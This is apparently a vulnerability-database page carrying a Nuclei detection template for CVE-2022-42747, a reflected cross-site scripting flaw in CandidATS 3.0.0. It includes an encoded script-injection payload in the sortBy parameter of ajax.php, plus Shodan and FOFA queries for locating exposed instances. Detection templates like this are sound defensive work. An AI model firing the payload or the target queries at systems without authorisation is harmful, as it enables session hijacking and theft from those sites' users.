Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-42747
HistoryNov 04, 2022 - 1:23 p.m.

CandidATS 3.0.0 - Cross-Site Scripting.

2022-11-0413:23:33
ProjectDiscovery
github.com
2
candidats
cross-site scripting
vulnerability
ajax.php
sortby
parameter
auieo

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

40.9%

CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
id: CVE-2022-42747

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the sortBy parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the application.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://fluidattacks.com/advisories/jcole/
    - https://candidats.net/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42747
    cwe-id: CWE-79
    epss-score: 0.00109
    epss-percentile: 0.43507
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query:
      - http.html:"CandidATS"
      - http.html:"candidats"
    fofa-query: body="candidats"
  tags: cve,cve2022,candidats,xss,auieo

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&sortDirection=desc&indexFile=1&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404
# digest: 4a0a00473045022043c9d60d53341e836f31ef8101cb06cb8afe80d1a0e49a73f24ccce4af5c320202210090570a97187769d3ae895ea93ae2688f0c0398df176fa3bc963e90a158a6151b:922c64590222798bb761d5b6d8e72950

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

0.001 Low

EPSS

Percentile

40.9%

Related for NUCLEI:CVE-2022-42747